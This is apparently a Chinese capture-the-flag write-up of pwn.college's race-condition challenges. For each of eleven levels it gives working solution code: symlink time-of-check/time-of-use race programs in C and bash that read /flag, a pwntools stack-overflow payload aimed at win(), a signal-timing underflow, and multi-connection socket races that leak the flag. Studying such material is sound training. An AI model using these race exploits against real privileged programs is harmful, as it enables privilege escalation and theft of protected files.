

Pwn.College Race Conditions WP

前言

打一个Timing!

需要在原地打，用scp可以快速下载文件

代码块

```
1  #!/bin/bash
2  scp -i ~/pwncollege.ssh hacker@pwn.college:/challenge/babyrace_level$1 ./
```

-- 文件系统竞争 --

1 有延迟

```
if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 )
{
    puts("Error: failed to get file status!");
    exit(1);
}
if ( (stat_buf.st_mode & 0xF000) == 40960 )
{
    puts("Error: file is a symlink!");
    exit(1);
}
usleep(0x2710u);
v3 = open(argv[1], 0);
v4 = read(v3, buf, 0x100uLL);
write(1, buf, v4);
puts("### Goodbye!");
return 0;
}
```

在lstat验sym link之后有10ms的延迟可以删除文件并改链

代码块

```
1  #!/bin/bash
2  rm ~/fff
3  touch ~/fff
4  /challenge/babyrace_level1.1 ~/fff &
5  sleep 0.002
6  rm ~/fff
7  ln -s /flag ~/fff
```

2 无显式延迟

对于无延迟的，赌的是调度顺序，因为中间指令不够一个时间片，起3个进程竞争之：

代码块

```
1  #include <sys/fcntl.h>
2
3  int main()
4  {
5      int stage = 0;
6      _outside:
7      if (fork())
8      { // parent
9          if (++stage > 2)
10             return 0;
11             goto _outside;
12      }
13      else
14      {
15          if (stage == 0)
16          { // rm
17              while (1)
18                  unlinkat(AT_FDCWD, "fff", 0);
19          }
20          if (stage == 1)
21          { // touch
22              while (1)
23                  close(openat(AT_FDCWD, "fff", O_WRONLY | O_CREAT | O_NOCTTY |
24                  }
25          if (stage == 2)
26          {
27              while (1)
28                  symlinkat("/flag", AT_FDCWD, "fff");
29          }
30      }
31  }
```

外面用shell脚本来运行程序，以便快速的杀掉

代码块

```
1  #!/bin/bash
2
3  while :
```

```
4 do
5     /challenge/babyrace_level2.1 ~/fff | grep pwn
6 done
```

3 读入溢出

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     int v3; // eax
4     struct stat stat_buf; // [rsp+20h] [rbp-1A0h] BYREF
5     char buf[256]; // [rsp+B0h] [rbp-110h] BYREF
6     __int64 v7; // [rsp+1B0h] [rbp-10h]
7     unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]
8
9     v8 = __readfsqword(0x28u);
10    setvbuf(stdin, 0LL, 2, 0LL);
11    setvbuf(stdout, 0LL, 2, 0LL);
12    puts("###");
13    printf("### Welcome to %s!\n", *argv);
14    puts("###");
15    putchar(10);
16    v7 = 0LL;
17    if ( argc <= 1 )
18        __assert_fail("argc > 1", "<stdin>", 0x49u, "main");
19    if ( strstr(argv[1], "flag") )
20    {
21        puts("Error: path contains `flag`!");
22        exit(1);
23    }
24    if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 )
25    {
26        puts("Error: failed to get file status!");
27        exit(1);
28    }
29    if ( (stat_buf.st_mode & 0xF000) == 40960 )
30    {
31        puts("Error: file is a symlink!");
32        exit(1);
33    }
34    if ( stat_buf.st_size > 256 )
35    {
36        puts("Error: file is too large!");
37        exit(1);
38    }
39    v3 = open(argv[1], 0);
40    read(v3, buf, 0x1000uLL);
41    if ( v7 )
42        win();
43    puts("### Goodbye!");
44    return 0;
45 }
```

事先写一个257字节的文件ff2，改改

代码块

```
1 #include <sys/fcntl.h>
2
```

```

3  int main()
4  {
5      int stage = 0;
6      _outside:
7      if (fork())
8      { // parent
9          if (++stage > 2)
10             return 0;
11             goto _outside;
12      }
13      else
14      {
15          if (stage == 0)
16          { // rm
17              while (1)
18                  unlinkat(AT_FDCWD, "fff", 0);
19          }
20          if (stage == 1)
21          { // touch
22              while (1)
23                  close(openat(AT_FDCWD, "fff", O_WRONLY | O_CREAT | O_NOCTTY |
24              }
25          if (stage == 2)
26          {
27              while (1)
28                  symlinkat("/home/hacker/ff2", AT_FDCWD, "fff");
29          }
30      }
31  }

```

4 栈溢出劫持（又回来了）

同用上面的，这次要劫持到win函数，老套路准备payload

代码块

```

1  from pwn import *
2
3  with open('ff2','wb') as f:
4      f.write(b'\0'*(0x198)+p64(
5          #0x4012f6
6          0x4012d6
7          ))

```

打就是了

5 多步竞争

加了一个限制条件，父目录不能是非root所有的，也不允许读写，这样就要分两步过，先过符号链接，然后过父目录检测（链接到/），最后再创回来链文件

必须减少操作量以增加几率，这里选择根目录下有的目录名

代码块

```
1  #include <sys/fcntl.h>
2
3  int main()
4  {
5      int stage = 0;
6      _outside:
7      if (fork())
8      { // parent
9          if (++stage > 6)
10             return 0;
11             goto _outside;
12     }
13     else
14     {
15         if (stage == 0)
16         { // rm
17             while (1){
18                 unlink("/home/hacker/fff/tmp");
19             }
20         }
21         // if (stage == 1)
22         // { // touch
23         //     while (1)
24         //         close(open("/home/hacker/fff/f", O_WRONLY | O_CREAT | O_NO
25         // });
26         if (stage == 2)
27         {
28             while (1){ // link flag
29                 mkdir("/home/hacker/fff",0777);
30                 symlink("/flag", "/home/hacker/fff/tmp");
31             }
32         }
33         // if(stage == 3){
34         //     while(1)
35         //         mkdir("/home/hacker/fff",0777);
```

```

36         // }
37         if(stage == 4){
38             while(1)
39                 symlink("/", "/home/hacker/fff");
40         }
41         if(stage == 5){
42             while(1)
43                 unlinkat(AT_FDCWD, "fff", 0);
44         }
45         if(stage == 6){
46             while(1)
47                 unlinkat(AT_FDCWD, "fff", AT_REMOVEDIR);
48         }
49     }
50 }

```

代码块

```

1  #!/bin/bash
2
3  gcc 2.c
4  # killall a.out
5  ./a.out
6
7  while :
8  do
9      /challenge/babyrace_level5.1 ~/fff/tmp | grep pwn
10     # ls -l fdir/fff
11 done

```

6 多步竞争2

5的加强版，判定父目录时不遵循符号链接，这就可以通过改变父的上级目录(爷目录)来解决。这里选用/usr/bin

代码块

```

1  #include <sys/fcntl.h>
2
3  int main()
4  {
5      int stage = 0;
6      _outside:
7      if (fork())

```

```

8      { // parent
9          if (++stage > 6)
10             return 0;
11             goto _outside;
12     }
13     else
14     {
15         if (stage == 0)
16         { // rm
17             while (1){
18                 unlink("/home/hacker/fff/usr/bin");
19                 chdir("/home/hacker/fff");
20                 unlinkat(AT_FDCWD, "usr", AT_REMOVEDIR);
21                 chdir("/home/hacker");
22                 unlinkat(AT_FDCWD, "fff", AT_REMOVEDIR);
23             }
24         }
25         // if (stage == 1)
26         // { // touch
27         //     while (1)
28         //         close(open("/home/hacker/fff/f", O_WRONLY | O_CREAT | O_NO
29         // });
30         if (stage == 2)
31         {
32             while (1){// link flag
33                 mkdir("/home/hacker/fff",0777);
34                 mkdir("/home/hacker/fff/usr",0777);
35                 symlink("/flag", "/home/hacker/fff/usr/bin");
36             }
37         }
38         if(stage == 3){
39             while(1)
40                 unlink("/home/hacker/fff");
41         }
42         if(stage == 4){
43             while(1)
44                 symlink("/", "/home/hacker/fff");
45         }
46     }
47 }

```

代码块

```

1  #!/bin/bash
2
3  gcc 2.c

```

```

4 # killall a.out
5 ./a.out
6
7 while :
8 do
9     /challenge/babyrace_level6.1 ~/fff/usr/bin | grep pwn
10    # ls -l fdir/fff
11 done

```

-- 内存竞争 --

7 信号处理竞争（中断改全局量）

```

1 void timeout_handler()
2 {
3     puts("Logging out due to timeout.");
4     privilege_level = 0;
5 }

```

这里注册了alarm信号处理函数，会这个特权级为0

```

26 else if ( !strcmp(s1, "logout") )
27 {
28     if ( privilege_level )
29     {
30         puts("Dropping one privilege level.");
31         puts("Paused (press enter to continue)");
32         __isoc99_scanf("%7s", &pause_buffer);
33         --privilege_level;
34     }
35     else

```

logout函数用的不是置0而是自减，那就可以溢出

那很简单，login之后logout，趁他不注意给他发sigalarm，回到logout自减就可以了

代码块

```

1 from pwn import *
2 import os
3
4 # context.log_level="debug"
5
6 p = process("/challenge/babyrace_level7.1")
7
8 # input()
9 # p.interactive()
10

```

```
11 while True:
12     print(p.recvuntil("quit:").decode())
13     p.sendline("login")
14     print(p.recvuntil("quit:").decode())
15     p.sendline("logout")
16     os.kill(p.pid,14)
17     print(p.recvuntil("quit:").decode())
18     p.sendline("win_authed")
19
```

8 多连接竞争

经典场景，开了端口的多线程，注册了信号量不用管，直接硬来就可以了，赌调度

代码块

```
1  from pwn import *
2  import os
3
4  # context.log_level="debug"
5
6  p = process("/challenge/babyrace_level8.1")
7
8  # input()
9  # p.interactive()
10
11 while True:
12     n1 = remote("127.0.0.1",1337)
13     n2 = remote("127.0.0.1",1337)
14     n3 = remote("127.0.0.1",1337)
15     print(n1.recvuntil("quit:").decode())
16     n1.sendline("login")
17     print(n2.recvuntil("quit:").decode())
18     print(n3.recvuntil("quit:").decode())
19     n2.sendline("logout")
20     n3.sendline("logout")
21     # os.kill(p.pid,13)
22     print(n1.recvuntil("quit:").decode())
23     n1.sendline("win_authed")
24     print(n1.recvuntil("quit:").decode())
25     n1.close()
26     n2.close()
27     n3.close()
```

9 多连接竞争2

```

1 int challenge()
2 {
3     int result; // eax
4     int v1; // eax
5     int v2; // eax
6     size_t v3; // rbx
7     int v4; // eax
8     int v5; // [rsp+2Ch] [rbp-2A4h]
9     char s1[128]; // [rsp+30h] [rbp-2A0h] BYREF
10    char v7[12]; // [rsp+B0h] [rbp-220h] BYREF
11    int v8; // [rsp+BCh] [rbp-214h]
12    char v9[504]; // [rsp+C0h] [rbp-210h] BYREF
13    unsigned __int64 v10; // [rsp+2B8h] [rbp-18h]
14
15    v10 = __readfsqword(0x28u);
16    while ( 1 )
17    {
18        fwrite(
19            "[*] Function (send_message/send_redacted_flag/receive_message/quit): \n",
20            1uLL,
21            0x46uLL,
22            (FILE *)__readfsqword(0xFFFFFFFF8));
23        __isoc99_fscanf(__readfsqword(0xFFFFFFFF0), "%127s", s1);
24        result = strcmp(s1, "quit");
25        if ( !result )
26            break;
27        if ( !strcmp(s1, "send_message") )
28        {
29            fwrite("Message: ", 1uLL, 9uLL, (FILE *)__readfsqword(0xFFFFFFFF8));
30            __isoc99_fscanf(__readfsqword(0xFFFFFFFF0), "%127s", s1);
31            fputc(10, (FILE *)__readfsqword(0xFFFFFFFF8));
32            v1 = strlen(s1);
33            broadcast_message((__int64)s1, v1);
34        }
35        else if ( !strcmp(s1, "send_redacted_flag") )
36        {
37            strcpy(v7, "REDACTED: ");
38            v7[11] = 0;
39            v8 = 0;
40            memset(v9, 0, 496uLL);
41            v2 = open("/flag", 0, v9);
42            v5 = read(v2, &v7[11], 0x100uLL);
43            broadcast_message((__int64)v7, v5 + 11);
44        }
45        else if ( !strcmp(s1, "receive_message") )
46        {
47            fwrite("Message: ", 1uLL, 9uLL, (FILE *)__readfsqword(0xFFFFFFFF8));
48            v3 = strlen(global_message);
49            v4 = fileno((FILE *)__readfsqword(0xFFFFFFFF8));
50            write(v4, global_message, v3);
51        }
52        else
53        {
54            fwrite("Unrecognized choice!\n", 1uLL, 0x15uLL, (FILE *)__readfsqword(0xFFFFFFFF8));
55        }
56    }
57    return result;
58 }

```

```

1 __int64 __fastcall broadcast_message(__int64 a1, int a2)
2 {
3     __int64 result; // rax
4     int i; // [rsp+18h] [rbp-4h]
5
6     for ( i = 0; i < a2; ++i )
7         global_message[i] = *(_BYTE *)(i + a1);
8     result = a2;
9     global_message[a2] = 0;
10    return result;
11 }

```

加强版，flag以0x0开头（），需要覆盖掉

输入长度越大，成功率越高，但是要保证flag完整

代码块

```

1  from pwn import *
2  import os
3
4  # context.log_level="debug"
5
6  p = process("/challenge/babyrace_level9.1")
7
8  # input()
9  # p.interactive()
10
11 while True:
12     n1 = remote("127.0.0.1",1337)
13     n2 = remote("127.0.0.1",1337)
14     n3 = remote("127.0.0.1",1337)
15     print(n1.recvuntil("quit:").decode())
16     n1.sendline("send_redacted_flag")
17     n1.recvuntil("quit:")
18     print(n2.recvuntil("quit:").decode())
19     print(n3.recvuntil("quit:").decode())
20     n2.send("send_message\n012345678901234567890")
21     n3.send("receive_message\n")
22     n2.sendline("")
23     # n3.sendline("")
24
25     # os.kill(p.pid,13)
26     s = n3.recvuntil("quit:").decode()
27     print(s)
28     if("}" in s):
29         exit(0)
30     n1.close()
31     n2.close()
32     n3.close()

```

10 带 mutex 未严格加锁的多连接竞争

```

1 int __fastcall broadcast_message(__int64 a1, int a2)
2 {
3     unsigned int i; // [rsp+1Ch] [rbp-4h]
4
5     sem_wait(&global_message_mutex);
6     for ( i = 0; (int)i < a2; ++i )
7     {
8         fprintf((FILE *)__readfsqword(0xFFFFFFFF8), "[*] global_message[%d] = message[%d]\n", i, i);
9         fwrite("Paused (press enter to continue)\n", 1uLL, 0x21uLL, (FILE *)__readfsqword(0xFFFFFFFF8));
10        __isoc99_fscanf(__readfsqword(0xFFFFFFFF0), "%7s", &pause_buffer);
11        global_message[i] = *(_BYTE *)((int)i + a1);
12    }
13    global_message[a2] = 0;
14    return sem_post(&global_message_mutex);
15 }

```

```

    else if ( !strcmp(s1, "receive_message") )
    {
        fwrite("Message: ", 1uLL, 9uLL, (FILE *)__readfsqword(0xFFFFFFFF8));
        v3 = strlen(global_message);
        v4 = fileno((FILE *)__readfsqword(0xFFFFFFFF8));
        write(v4, global_message, v3);
    }
    else

```

接受消息没有加锁，可以竞争了

几乎无需改动上一题的脚本，最多再多发一个字符去增加成功率

11 带 mutex 未严格加锁的多连接竞争2

```

42     else if ( !strcmp(s1, "receive_message") )
43     {
44         fprintf((FILE *)__readfsqword(0xFFFFFFFF8), "Message: %s", global_message);
45     }

```

和上一题相比，用fprintf取代了write，更加严苛了

不过仍然可以无修AC :smile

后记

好玩爱玩，就是对于不稳定的情况比较靠运气，建议在有运气加成的日子里做:-)